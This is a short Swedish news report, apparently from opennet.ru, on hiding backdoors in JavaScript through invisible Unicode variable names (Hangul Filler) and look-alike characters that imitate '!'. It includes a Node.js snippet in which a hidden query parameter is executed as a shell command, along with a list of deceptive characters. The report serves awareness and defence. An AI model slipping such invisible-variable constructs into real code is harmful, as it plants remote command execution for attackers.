Följande den Trojan Source attackmetoden, som baseras pÄ anvÀndningen av Unicode-tecken som förÀndrar visningen av text med tvÄ riktningar, har ytterligare en teknik för infiltrering av dolda ÄtgÀrder publicerats, tillÀmplig pÄ kod skriven i JavaScript. Den nya metoden baseras pÄ anvÀndningen av unicode-tecknet "㠀" (kod 0x3164, "HANGUL FILLER"), som tillhör bokstavskategorin men inte har innehÄll som Àr synligt. Unicode-kategorin som detta tecken tillhör har varit tillÄten sedan ECMAScript 2015-specifikationen för anvÀndning i JavaScript-variabelnamn, vilket möjliggör skapandet av osynliga variabler eller nya variabler som Àr oidentifierbara frÄn andra variabler i populÀra kodredigerare som Notepad++ och VS Code.
Ett exempel ges pĂ„ kod för Node.js-plattformen dĂ€r en variabel bestĂ„ende av tecknet "ă €" döljer en backdoor som tillĂ„ter exekvering av kod angiven av angriparen: app.get(â/network_healthâ, async (req, res) => { const { timeout,ă €} = req.query; // anges egentligen som "const { timeout,ă € \u3164}" const checkCommands = [ âping -c 1 google.comâ, âcurl -s http://example.com/â,ă € // efter kommatecknet följer tecknet \u3164 ];
Vid första anblick verkar det som att den externa parametern endast överför vÀrdet timeout, medan arrayen med utförda kommandon innehÄller en harmlös fast lista. Men i verkligheten tilldelas vÀrdet av den osynliga variabeln med koden \u3164 efter timeout-variabeln, vilket ocksÄ inkluderas i arrayen med körbara kommandon. SÄledes, med en sÄdan konstruktion, kan angriparen aktivera bakdörren och köra sin kod genom att skicka en förfrÄgan i form av "https://host:8080/network_health?=kommando".
Som ytterligare ett exempel kan tecknet "Ç" (ALVEOLAR CLICK) anvĂ€ndas för att skapa en illusion av ett utropstecken. Till exempel, uttrycket "if(environmentÇ=ENV_PROD){" kommer alltid att vara sant nĂ€r det körs i Node.js 14, eftersom det faktiskt inte Ă€r en jĂ€mförelse, utan att tilldela variabeln "environmentÇ" vĂ€rdet ENV_PROD. Bland de vilseledande unicode-tecknen finns ocksĂ„ "ïŒ", "â", "ïŒ", "â©”", "âš", "⫝̸", "êż" och "â".
KĂ€lla: opennet.ru
